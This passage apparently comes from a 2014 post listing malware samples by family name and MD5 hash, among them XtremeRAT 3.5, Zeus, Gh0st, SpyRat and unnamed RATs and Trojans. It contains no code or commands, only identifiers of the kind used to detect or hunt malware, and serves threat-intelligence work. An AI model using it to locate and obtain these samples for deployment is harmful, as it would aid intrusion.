  4. XtremeRAT 3.5 Private _2E776E18DEC61CF6CCD68FBACD55FAB3 2e776e18dec61cf6ccd68fbacd55fab3
  5. XtremeRAT 3.5 Private _BD70A7CAE3EBF85CF1EDD9EE776D8364 bd70a7cae3ebf85cf1edd9ee776d8364
  6. XtremeRAT 3.5 Private_0BE3B0E296BE33903BF76B8CD9CF52CA 0be3b0e296be33903bf76b8cd9cf52ca
  7. XtremeRAT 3.5 Private_7416EC2889227F046F48C15C45C102DA 7416ec2889227f046f48c15c45c102da
  8. XtremeRAT 3.5 Private_BE47EC66D861C35784DA527BF0F2E03A be47ec66d861c35784da527bf0f2e03a
  9. XtremeRAT 3.5 Private_C27232691DACF4CFF24A4D04B3B2896B c27232691dacf4cff24a4d04b3b2896b
  10. XtremeRAT 3.5 Private_E79636E4C7418544D188A29481C100BB e79636e4c7418544d188a29481c100bb
  11. Zeus_9C11EF09131A3373EEF5C9D83802D56B 9c11ef09131a3373eef5c9d83802d56b
  12. Zeus_DCD3E45D40C8817061F716557E7A05B6 dcd3e45d40c8817061f716557e7a05b6

Additional (mix of RATs and Trojans)

  1. 2D186068153091927B26CD3A6831BE68 2d186068153091927b26cd3a6831be68
  2. 4A997E3395A8BB8D73193E158289F4CE 4a997e3395a8bb8d73193e158289f4ce
  3. 7E92A754AAAA0853469566D5DBF2E70C 7e92a754aaaa0853469566d5dbf2e70c
  4. 9CFD17C48FC0D300E4AA22E2C8C029D6 9cfd17c48fc0d300e4aa22e2c8c029d6
  5. 37FEE821695B664EBE66D55D8C0696F2 37fee821695b664ebe66d55d8c0696f2
  6. 445C22E94EAB61B3D4682824A19F8E92 445c22e94eab61b3d4682824a19f8e92
  7. 819B4C40F56F69C72E62EF06C85EA3E1 819b4c40f56f69c72e62ef06c85ea3e1
  8. 947C21CB8E28B854FF02C2241399A450 947c21cb8e28b854ff02c2241399a450
  9. 2859089CC3E31DA60C64D56C416175E2 2859089cc3e31da60c64d56c416175e2
  10. A9EE1BF62DEE532BE2BE217D3E4A8927 a9ee1bf62dee532be2be217d3e4a8927
  11. AC87BC7DD4B38FA3EBA23BF042B160CE ac87bc7dd4b38fa3eba23bf042b160ce
  12. B953FD2B3D5C10EC735681982D3C6352 b953fd2b3d5c10ec735681982d3c6352
  13. BD5188031BB8EB317FB58F0A49CCBF9C bd5188031bb8eb317fb58f0a49ccbf9c
  14. D7CF30E3DBFD32A1D1E38CEE464EC6A6 d7cf30e3dbfd32a1d1e38cee464ec6a6
  15. E1AFC706C8C96FACEDB6CB62E6CBFD2D e1afc706c8c96facedb6cb62e6cbfd2d
  16. Gh0stB_7A26BBD7B5942B49FC0A9CB7268BD030 7a26bbd7b5942b49fc0a9cb7268bd030
  17. SpyRat_E0B0BBA2F6399B0577C37E2A3BC3390A e0b0bba2f6399b0577c37e2a3bc3390a
  18. Zeus_0D8F9C5898596251233C3FD1DCB34161 0d8f9c5898596251233c3fd1dcb34161
  19. Zeus_7A6BBC32868A9F776452355F909F95D6 7a6bbc32868a9f776452355f909f95d6
  20. Zeus_7CD6C4A6103F23858C7ED047391F1D3B 7cd6c4a6103f23858c7ed047391f1d3b
  21. Zeus_52BE0408084F536E42FEB7C57F521592 52be0408084f536e42feb7c57f521592
  22. Zeus_5746DD569623431BA41A247FA64847D7 5746dd569623431ba41a247fa64847d7
  23. Zeus_A79089B5E6744C622D61BEFA40AF77D3 a79089b5e6744c622d61befa40af77d3
  24. Zeus_E2190F61B532BD51E585449BAAE31BC1 e2190f61b532bd51e585449baae31bc1
  25. Zeus_F76A509FEE28C5F65046D6DC072658B2 f76a509fee28c5f65046d6dc072658b2

Posted: 20 Jul 2014 | 9:59 pm